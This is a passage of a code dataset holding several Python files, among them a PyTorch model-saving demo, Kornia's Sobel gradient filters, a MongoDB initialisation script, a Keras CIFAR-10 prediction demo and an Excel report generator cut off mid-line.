"line_number": 204, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 205, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 206, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 217, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 218, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 220, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 227, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 227, "usage_type": "attribute"}, {"api_name": "sched.scheduler", "line_number": 234, "usage_type": "call"}, {"api_name": "time.time", "line_number": 234, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 234, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 255, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 255, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 263, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 268, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 269, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 270, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 281, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 282, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 284, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 291, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 291, "usage_type": "attribute"}, {"api_name": "sched.scheduler", "line_number": 298, "usage_type": "call"}, {"api_name": "time.time", "line_number": 298, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 298, "usage_type": "attribute"}, {"api_name": "tkinter.Tk", "line_number": 319, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 323, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 326, "usage_type": "call"}, {"api_name": "tkinter.Button", "line_number": 329, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 332, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 335, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 338, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 341, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 344, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 347, "usage_type": "call"}]} {"seq_id": "295026294", "text": "# -*- coding: utf-8 -*-\n# @File : 07_save_model.py\n# @Author: SmartGx\n# @Date : 19-1-25 下午3:38\n# @Desc : 保存模型\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\n\nclass Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 64, 5)\n self.pool1 = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(64, 128, 5)\n self.pool2 = nn.MaxPool2d(2, 2)\n self.fc1 = nn.Linear(128, 256)\n self.fc2 = nn.Linear(256, 256)\n self.fc3 = nn.Linear(256, 10)\n\n def forward(self, x):\n x = self.pool1(F.relu(self.conv1(x)))\n x = self.pool2(F.relu(self.conv2(x)))\n x = x.view(-1, 16*5*5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n\n return x\n\n# model = Net()\n# optimizer = optim.SGD(params=model.parameters(), lr=0.001, momentum=0.9)\n# # 输出模型的参数字典\n# for param in model.state_dict():\n# print('{}: {}'.format(param, model.state_dict()[param].size()))\n#\n# for var_name in optimizer.state_dict():\n# print('{}: {}'.format(var_name, optimizer.state_dict()[var_name]))\n\n\n# ****************保存/加载模型参数**********************\n# torch.save(model.state_dict(), './model.pth')\n\n# model = Net()\n# model.load_state_dict(torch.load('./model.pth'))\n\n\n# ****************直接保存/加载模型**********************\n# torch.save(model, './model.pth')\n\n# model = torch.load('./model.pth')\n", "sub_path": "05_pytorch_nn/07_save_model.py", "file_name": "07_save_model.py", "file_ext": "py", "file_size_in_byte": 1515, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn", "line_number": 11, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv2d", "line_number": 14, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 15, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 16, "usage_type": "name"}, {"api_name": "torch.nn.MaxPool2d", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 24, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 24, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 27, "usage_type": "name"}]} {"seq_id": "354240737", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom kornia.filters.kernels import get_spatial_gradient_kernel2d, get_spatial_gradient_kernel3d, normalize_kernel2d\n\n\ndef spatial_gradient(input: torch.Tensor, mode: str = 'sobel', order: int = 1, normalized: bool = True) -> torch.Tensor:\n r\"\"\"Computes the first order image derivative in both x and y using a Sobel\n operator.\n\n .. image:: _static/img/spatial_gradient.png\n\n Args:\n input: input image tensor with shape :math:`(B, C, H, W)`.\n mode: derivatives modality, can be: `sobel` or `diff`.\n order: the order of the derivatives.\n normalized: whether the output is normalized.\n\n Return:\n the derivatives of the input feature map. with shape :math:`(B, C, 2, H, W)`.\n\n Examples:\n >>> input = torch.rand(1, 3, 4, 4)\n >>> output = spatial_gradient(input) # 1x3x2x4x4\n >>> output.shape\n torch.Size([1, 3, 2, 4, 4])\n \"\"\"\n if not isinstance(input, torch.Tensor):\n raise TypeError(\"Input type is not a torch.Tensor. Got {}\".format(type(input)))\n\n if not len(input.shape) == 4:\n raise ValueError(\"Invalid input shape, we expect BxCxHxW. Got: {}\".format(input.shape))\n # allocate kernel\n kernel: torch.Tensor = get_spatial_gradient_kernel2d(mode, order)\n if normalized:\n kernel = normalize_kernel2d(kernel)\n\n # prepare kernel\n b, c, h, w = input.shape\n tmp_kernel: torch.Tensor = kernel.to(input).detach()\n tmp_kernel = tmp_kernel.unsqueeze(1).unsqueeze(1)\n\n # convolve input tensor with sobel kernel\n kernel_flip: torch.Tensor = tmp_kernel.flip(-3)\n\n # Pad with \"replicate for spatial dims, but with zeros for channel\n spatial_pad = [kernel.size(1) // 2, kernel.size(1) // 2, kernel.size(2) // 2, kernel.size(2) // 2]\n out_channels: int = 3 if order == 2 else 2\n padded_inp: torch.Tensor = F.pad(input.reshape(b * c, 1, h, w), spatial_pad, 'replicate')[:, :, None]\n\n return F.conv3d(padded_inp, kernel_flip, padding=0).view(b, c, out_channels, h, w)\n\n\ndef spatial_gradient3d(input: torch.Tensor, mode: str = 'diff', order: int = 1) -> torch.Tensor:\n r\"\"\"Computes the first and second order volume derivative in x, y and d using a diff\n operator.\n\n Args:\n input: input features tensor with shape :math:`(B, C, D, H, W)`.\n mode: derivatives modality, can be: `sobel` or `diff`.\n order: the order of the derivatives.\n\n Return:\n the spatial gradients of the input feature map.\n\n Shape:\n - Input: :math:`(B, C, D, H, W)`. D, H, W are spatial dimensions, gradient is calculated w.r.t to them.\n - Output: :math:`(B, C, 3, D, H, W)` or :math:`(B, C, 6, D, H, W)`\n\n Examples:\n >>> input = torch.rand(1, 4, 2, 4, 4)\n >>> output = spatial_gradient3d(input)\n >>> output.shape\n torch.Size([1, 4, 3, 2, 4, 4])\n \"\"\"\n if not isinstance(input, torch.Tensor):\n raise TypeError(\"Input type is not a torch.Tensor. Got {}\".format(type(input)))\n\n if not len(input.shape) == 5:\n raise ValueError(\"Invalid input shape, we expect BxCxDxHxW. Got: {}\".format(input.shape))\n # allocate kernel\n kernel: torch.Tensor = get_spatial_gradient_kernel3d(mode, order)\n\n # prepare kernel\n b, c, d, h, w = input.shape\n tmp_kernel: torch.Tensor = kernel.to(input).detach()\n tmp_kernel = tmp_kernel.repeat(c, 1, 1, 1, 1)\n\n # convolve input tensor with grad kernel\n kernel_flip: torch.Tensor = tmp_kernel.flip(-3)\n\n # Pad with \"replicate for spatial dims, but with zeros for channel\n spatial_pad = [\n kernel.size(2) // 2,\n kernel.size(2) // 2,\n kernel.size(3) // 2,\n kernel.size(3) // 2,\n kernel.size(4) // 2,\n kernel.size(4) // 2,\n ]\n out_ch: int = 6 if order == 2 else 3\n return F.conv3d(F.pad(input, spatial_pad, 'replicate'), kernel_flip, padding=0, groups=c).view(\n b, c, out_ch, d, h, w\n )\n\n\ndef sobel(input: torch.Tensor, normalized: bool = True, eps: float = 1e-6) -> torch.Tensor:\n r\"\"\"Computes the Sobel operator and returns the magnitude per channel.\n\n .. image:: _static/img/sobel.png\n\n Args:\n input: the input image with shape :math:`(B,C,H,W)`.\n normalized: if True, L1 norm of the kernel is set to 1.\n eps: regularization number to avoid NaN during backprop.\n\n Return:\n the sobel edge gradient magnitudes map with shape :math:`(B,C,H,W)`.\n\n Example:\n >>> input = torch.rand(1, 3, 4, 4)\n >>> output = sobel(input) # 1x3x4x4\n >>> output.shape\n torch.Size([1, 3, 4, 4])\n \"\"\"\n if not isinstance(input, torch.Tensor):\n raise TypeError(\"Input type is not a torch.Tensor. Got {}\".format(type(input)))\n\n if not len(input.shape) == 4:\n raise ValueError(\"Invalid input shape, we expect BxCxHxW. Got: {}\".format(input.shape))\n\n # comput the x/y gradients\n edges: torch.Tensor = spatial_gradient(input, normalized=normalized)\n\n # unpack the edges\n gx: torch.Tensor = edges[:, :, 0]\n gy: torch.Tensor = edges[:, :, 1]\n\n # compute gradient maginitude\n magnitude: torch.Tensor = torch.sqrt(gx * gx + gy * gy + eps)\n\n return magnitude\n\n\nclass SpatialGradient(nn.Module):\n r\"\"\"Computes the first order image derivative in both x and y using a Sobel\n operator.\n\n Args:\n mode: derivatives modality, can be: `sobel` or `diff`.\n order: the order of the derivatives.\n normalized: whether the output is normalized.\n\n Return:\n the sobel edges of the input feature map.\n\n Shape:\n - Input: :math:`(B, C, H, W)`\n - Output: :math:`(B, C, 2, H, W)`\n\n Examples:\n >>> input = torch.rand(1, 3, 4, 4)\n >>> output = SpatialGradient()(input) # 1x3x2x4x4\n \"\"\"\n\n def __init__(self, mode: str = 'sobel', order: int = 1, normalized: bool = True) -> None:\n super(SpatialGradient, self).__init__()\n self.normalized: bool = normalized\n self.order: int = order\n self.mode: str = mode\n\n def __repr__(self) -> str:\n return (\n self.__class__.__name__ + '('\n 'order=' + str(self.order) + ', ' + 'normalized=' + str(self.normalized) + ', ' + 'mode=' + self.mode + ')'\n )\n\n def forward(self, input: torch.Tensor) -> torch.Tensor:\n return spatial_gradient(input, self.mode, self.order, self.normalized)\n\n\nclass SpatialGradient3d(nn.Module):\n r\"\"\"Computes the first and second order volume derivative in x, y and d using a diff\n operator.\n\n Args:\n mode: derivatives modality, can be: `sobel` or `diff`.\n order: the order of the derivatives.\n\n Return:\n the spatial gradients of the input feature map.\n\n Shape:\n - Input: :math:`(B, C, D, H, W)`. D, H, W are spatial dimensions, gradient is calculated w.r.t to them.\n - Output: :math:`(B, C, 3, D, H, W)` or :math:`(B, C, 6, D, H, W)`\n\n Examples:\n >>> input = torch.rand(1, 4, 2, 4, 4)\n >>> output = SpatialGradient3d()(input)\n >>> output.shape\n torch.Size([1, 4, 3, 2, 4, 4])\n \"\"\"\n\n def __init__(self, mode: str = 'diff', order: int = 1) -> None:\n super(SpatialGradient3d, self).__init__()\n self.order: int = order\n self.mode: str = mode\n self.kernel = get_spatial_gradient_kernel3d(mode, order)\n return\n\n def __repr__(self) -> str:\n return self.__class__.__name__ + '(' 'order=' + str(self.order) + ', ' + 'mode=' + self.mode + ')'\n\n def forward(self, input: torch.Tensor) -> torch.Tensor: # type: ignore\n return spatial_gradient3d(input, self.mode, self.order)\n\n\nclass Sobel(nn.Module):\n r\"\"\"Computes the Sobel operator and returns the magnitude per channel.\n\n Args:\n normalized: if True, L1 norm of the kernel is set to 1.\n eps: regularization number to avoid NaN during backprop.\n\n Return:\n the sobel edge gradient magnitudes map.\n\n Shape:\n - Input: :math:`(B, C, H, W)`\n - Output: :math:`(B, C, H, W)`\n\n Examples:\n >>> input = torch.rand(1, 3, 4, 4)\n >>> output = Sobel()(input) # 1x3x4x4\n \"\"\"\n\n def __init__(self, normalized: bool = True, eps: float = 1e-6) -> None:\n super(Sobel, self).__init__()\n self.normalized: bool = normalized\n self.eps: float = eps\n\n def __repr__(self) -> str:\n return self.__class__.__name__ + '(' 'normalized=' + str(self.normalized) + ')'\n\n def forward(self, input: torch.Tensor) -> torch.Tensor:\n return sobel(input, self.normalized, self.eps)\n", "sub_path": "kornia/filters/sobel.py", "file_name": "sobel.py", "file_ext": "py", "file_size_in_byte": 8603, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.Tensor", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 29, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 35, "usage_type": "attribute"}, {"api_name": "kornia.filters.kernels.get_spatial_gradient_kernel2d", "line_number": 35, "usage_type": "call"}, {"api_name": "kornia.filters.kernels.normalize_kernel2d", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 41, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 45, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 50, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.pad", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 50, "usage_type": "name"}, {"api_name": "torch.nn.functional.conv3d", "line_number": 52, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 52, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 55, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 77, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 83, "usage_type": "attribute"}, {"api_name": "kornia.filters.kernels.get_spatial_gradient_kernel3d", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 87, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 91, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.conv3d", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.nn.functional.pad", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 108, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 127, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 134, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 138, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.sqrt", "line_number": 141, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 146, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 146, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 179, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 183, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 183, "usage_type": "name"}, {"api_name": "kornia.filters.kernels.get_spatial_gradient_kernel3d", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 215, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 219, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 219, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 246, "usage_type": "attribute"}]} {"seq_id": "511190110", "text": "#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n# Created by rosalind at 2018/2/26\n\nimport asyncio\nimport datetime\n\nfrom motor.motor_asyncio import AsyncIOMotorClient\nfrom umongo import Document, fields\n\n# from parser import join_v2_pb2 as join_pb2\nfrom store import instance\n# from store.models import User, DeviceType, Device\n\n\n@instance.register\nclass Person(Document):\n name = fields.StrField(default='John Doe')\n time = fields.DateTimeField(missing=datetime.datetime.now)\n #name = fields.StrField(missing='John Doe')\n\n\nclient = AsyncIOMotorClient('mongodb://{}:{}'\n .format('127.0.0.1', 27017))\ninstance.init(client.shuidiansystem)\nloop = asyncio.get_event_loop()\n\n\nasync def initdb():\n # await DeviceType.ensure_indexes()\n # await Device.ensure_indexes()\n # await User.ensure_indexes()\n # await DeviceType(type_id=join_pb2.DEVICE_ZJTY150, pwd='asdfasdfasdf',\n # img='http://163.com', desc='asdfsdfs').commit()\n p = Person()\n print(p.name)\n print(p._data.get('name'))\n p.name = 'asdfasdf'\n print(p._data.get('name'))\n del p.name\n print(p._data.get('name'))\n await p.commit()\n\nloop.run_until_complete(initdb())\n", "sub_path": "store/initdb.py", "file_name": "initdb.py", "file_ext": "py", "file_size_in_byte": 1204, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "umongo.Document", "line_number": 17, "usage_type": "name"}, {"api_name": "umongo.fields.StrField", "line_number": 18, "usage_type": "call"}, {"api_name": "umongo.fields", "line_number": 18, "usage_type": "name"}, {"api_name": "umongo.fields.DateTimeField", "line_number": 19, "usage_type": "call"}, {"api_name": "umongo.fields", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime", "line_number": 19, "usage_type": "attribute"}, {"api_name": "store.instance.register", "line_number": 16, "usage_type": "attribute"}, {"api_name": "store.instance", "line_number": 16, "usage_type": "name"}, {"api_name": "motor.motor_asyncio.AsyncIOMotorClient", "line_number": 23, "usage_type": "call"}, {"api_name": "store.instance.init", "line_number": 25, "usage_type": "call"}, {"api_name": "store.instance", "line_number": 25, "usage_type": "name"}, {"api_name": "asyncio.get_event_loop", "line_number": 26, "usage_type": "call"}]} {"seq_id": "23949560", "text": "import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom keras.datasets import cifar10\r\nfrom keras.models import Sequential\r\nfrom keras.models import load_model\r\n\r\n# 指定亂數種子\r\nseed = 10\r\nnp.random.seed(seed)\r\n# 載入資料集\r\n(X_train, Y_train), (X_test, Y_test) = cifar10.load_data()\r\n# 因為是固定範圍, 所以執行正規化, 從 0-255 至 0-1\r\nX_test = X_test.astype(\"float32\") / 255\r\n# 建立Keras的Sequential模型\r\nmodel = Sequential()\r\nmodel = load_model(\"cifar10.h5\")\r\n# 編譯模型\r\nmodel.compile(loss=\"categorical_crossentropy\", optimizer=\"adam\",\r\n metrics=[\"accuracy\"])\r\n# 測試資料集的分類和機率的預測值\r\nprint(\"Predicting ...\")\r\nY_pred = model.predict_classes(X_test) # 分類\r\nY_probs = model.predict_proba(X_test) # 機率\r\n# 建立分類錯誤的 DataFrame 物件\r\nY_test = Y_test.flatten()\r\ndf = pd.DataFrame({\"label\":Y_test, \"predict\":Y_pred})\r\ndf = df[Y_test!=Y_pred] # 篩選出分類錯誤的資料\r\nprint(df.head())\r\ndf.head().to_html(\"Ch9_1_3b.html\")\r\n# 隨機選 1 個錯誤分類的數字索引\r\ni = df.sample(n=1).index.values.astype(int)[0]\r\nprint(\"Index: \", i)\r\nimg = X_test[i] \r\n# 繪出圖表的預測結果\r\nplt.figure()\r\nplt.subplot(1,2,1)\r\nplt.title(\"Example of Image:\" + str(Y_test[i]))\r\nplt.imshow(img, cmap=\"binary\")\r\nplt.axis(\"off\")\r\nplt.subplot(1,2,2)\r\nplt.title(\"Probabilities for Each Image Class\")\r\nplt.bar(np.arange(10), Y_probs[i].reshape(10), align=\"center\")\r\nplt.xticks(np.arange(10),np.arange(10).astype(str))\r\nplt.show()", "sub_path": "F9744/Keras/Ch09/Ch9_1/Ch9_1_3b.py", "file_name": "Ch9_1_3b.py", "file_ext": "py", "file_size_in_byte": 1540, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.random.seed", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 10, "usage_type": "attribute"}, {"api_name": "keras.datasets.cifar10.load_data", "line_number": 12, "usage_type": "call"}, {"api_name": "keras.datasets.cifar10", "line_number": 12, "usage_type": "name"}, {"api_name": "keras.models.Sequential", "line_number": 16, "usage_type": "call"}, {"api_name": "keras.models.load_model", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.imshow", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 41, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 41, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 42, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 42, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.bar", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}]} {"seq_id": "415815612", "text": "#!/usr/bin/python\nimport sys\nimport os\nfrom os import path\nimport datetime\nimport pandas as pd\nimport openpyexcel\nfrom openpyexcel import Workbook as wb, load_workbook as load_wb\nfrom openpyexcel.styles import PatternFill, Border, Side, Alignment, Font\nfrom openpyexcel.utils import get_column_letter\nfrom ExcelStyle import ExcelStyle\nimport constants as constant\nfrom constants import total_service as total_service\n\n\nclass CreateReadWriteInExcel:\n \n def __init__(self, excel_style, rows_in_db):\n self.rows_in_db = rows_in_db\n self.rows_in_db.sort(key=self.take_first)\n self.today = datetime.date.today()\n self.excel_style = excel_style\n\n @staticmethod\n def check_excel_sheet(output_excel_path, worksheet_name):\n workbook = pd.ExcelWriter(output_excel_path, engine='xlsxwriter')\n workbook.save()\n wb = load_wb(output_excel_path)\n ws = wb.worksheets[0]\n ws.title = worksheet_name\n wb.save(output_excel_path)\n\n @staticmethod\n def check_directory(dir_folder):\n os.makedirs(dir_folder)\n\n @staticmethod\n def take_first(elem):\n return elem[0]\n\n @staticmethod\n def calculate_success_rate(ws, row, col):\n return (ws.cell(row=row - 1, column=col + 1).value / ws.cell(row=row - 2, column=col + 1).value) * 100\n\n @staticmethod\n def calculate_failure_rate(ws, row, col):\n return 100 - ws.cell(row=row-1, column=col+1).value\n\n def ws_header(self, ws, row, col):\n if ws.cell(row=row, column=col).value is None:\n ws.cell(row=row, column=col).value = constant.SERVICE\n self.excel_style.merge_cells(ws, row, row+1, col, col)\n self.excel_style.style(ws, row, row, col, col, 40, 'Arial', 10, '808080', \"solid\", 'center')\n col = col + 1\n backup_col = col\n else:\n col = col + 1\n backup_col = col\n \n while ws.cell(row=row,column=col).value is not None and ws.cell(row=row, column=col).value != self.today.strftime(\"%d-%b-%Y\"):\n col = col+3\n backup_col = col\n \n ws.cell(row=row, column=col).value = self.today.strftime(\"%d-%b-%Y\")\n self.excel_style.merge_cells(ws, row, row, col, col+2)\n self.excel_style.style(ws, row, row, col, col, 11.14, 'Arial', 10, '808080', \"solid\", \"center\")\n \n row = row + 1\n start_row = row\n start_col = col\n ws.cell(row=row, column=col).value = constant.total_req['total_request']\n \n col = col + 1\n ws.cell(row=row, column=col).value = constant.total_req['total_response']\n \n col = col + 1\n ws.cell(row=row, column=col).value = constant.total_req['s_rate']\n self.excel_style.style(ws, start_row, row, start_col, col, 11.14, 'Arial', 10, '808080', \"solid\", \"center\")\n\n row = row + 1\n \n self.put_value_in_db_from_excel(ws, row, backup_col)\n\n '''Used for fetching data from database and write to excel'''\n def put_value_in_db_from_excel(self, ws, row, backup_col):\n\n for list_value in self.rows_in_db:\n if list_value[1] is not None:\n total_service['request'] = total_service['request'] + list_value[1]\n total_service['response'] = total_service['response'] + list_value[2]\n col = 1\n next_value_in_list = 1\n for tuple_value in list_value:\n try:\n if tuple_value:\n if next_value_in_list == 2:\n col = backup_col\n next_value_in_list = next_value_in_list+1\n if ws.cell(row=row, column=col).value is None:\n ws.cell(row=row, column=col).value = tuple_value\n except Exception as e:\n print(e)\n col = col+1\n if ws.cell(row=row, column=col-2).value is not None:\n ws.cell(row=row, column=col).value = (int(ws.cell(row=row, column=col-1).value)/int(ws.cell(row=row, column=col-2).value))*100\n row = row+1\n \n self.excel_style.border(ws, 'thin', \"000000\", 1, row, 1, ws.max_column)\n week = self.today.isocalendar()[1]\n if ws.title == \"week-\"+str(week):\n self.weekly_graph_values(ws, row, backup_col)\n\n '''Used for writing values to excel which is used for graph creation'''\n def weekly_graph_values(self, ws, row, backup_col):\n start_row = row\n start_col = 1\n ws.cell(row=row, column=1).value = constant.week_dict['total']\n col = backup_col\n ws.cell(row=row, column=col).value = total_service['request']\n col = col+1\n ws.cell(row=row, column=col).value = total_service['response']\n col = col+1\n ws.cell(row=row, column=col).value = (total_service['response']/total_service['request'])*100\n row = row+1\n col = 1\n \n ws.cell(row=row, column=col).value = constant.week_dict['weeklyTotalReq']\n if ws.cell(row=row,column=col+1).value is None:\n ws.cell(row=row, column=col+1).value = total_service['request']\n else:\n ws.cell(row=row, column=col+1).value = ws.cell(row=row, column=col+1).value + total_service['request']\n\n row = row+1\n ws.cell(row=row,column=col).value = constant.week_dict['weeklyTotalRes']\n if ws.cell(row=row,column=col+1).value is None:\n ws.cell(row=row, column=col+1).value = total_service['response']\n else:\n ws.cell(row=row, column=col+1).value = ws.cell(row=row, column=col+1).value + total_service['response']\n\n row = row+1\n ws.cell(row=row, column=col).value = constant.week_dict['weeklySuccessRate']\n success_rate = self.calculate_success_rate(ws, row, col)\n ws.cell(row=row, column=col+1).value = success_rate\n\n row = row+1\n ws.cell(row=row, column=col).value = constant.week_dict['weeklyFailureRatePer']\n failure_rate = self.calculate_failure_rate(ws, row, col)\n ws.cell(row=row, column=col+1).value = failure_rate\n\n self.excel_style.border(ws, 'thin', \"000000\", start_row, row, 1, ws.max_column)\n self.excel_style.style(ws, start_row, row, start_col, ws.max_column, 11.14, 'Arial', 10, '808080', \"solid\", \"center\")\n success_rate_row = row+15\n row = row+3\n start_row = row\n start_col = col\n if ws.cell(row=row, column=col).value != constant.week_dict['weeklyPerfReport']:\n ws.cell(row=row, column=col).value = constant.week_dict['weeklyPerfReport']\n self.excel_style.style(ws, start_row, start_row, col, col, 40, 'Arial', 10, '808080', \"solid\", 'center')\n self.excel_style.merge_cells(ws, row, row+2, col, col)\n col = col+2\n ws.cell(row=row, column=col).value = constant.TOTAL_REQUEST\n col = col+1\n ws.cell(row=row, column=col).value = constant.TOTAL_RESPONSE\n col = col+1\n ws.cell(row=row, column=col).value = constant.SUCCESS_RATE\n row = row+1\n col = 2\n else:\n row = row+1\n col = 2\n while ws.cell(row=row, column=col).value != self.today.strftime(\"%d-%b\") and ws.cell(row = row, column=col).value is not None:\n row = row+1\n \n ws.cell(row=row, column=col).value = self.today.strftime(\"%d-%b\")\n col = col+1\n ws.cell(row=row, column=col).value = total_service['request']\n col = col+1\n ws.cell(row=row, column=col).value = total_service['response']\n col = col+1\n ws.cell(row=row, column=col).value = (total_service['response']/total_service['request'])*100\n\n self.excel_style.border(ws, 'thin', \"000000\", start_row, row, 1, col)\n self.excel_style.style(ws, start_row, start_row, start_col, col, 11.14, 'Arial', 10, '808080', \"solid\", 'center')\n \n col = 1\n start_row = success_rate_row\n ws.cell(row=success_rate_row, column=col).value = constant.week_dict['weeklySuccessRate']\n self.excel_style.style(ws, success_rate_row, success_rate_row, col, col, 40, 'Arial', 10, '808080', \"solid\", 'center')\n self.excel_style.merge_cells(ws, success_rate_row, success_rate_row+1, col, col)\n col = 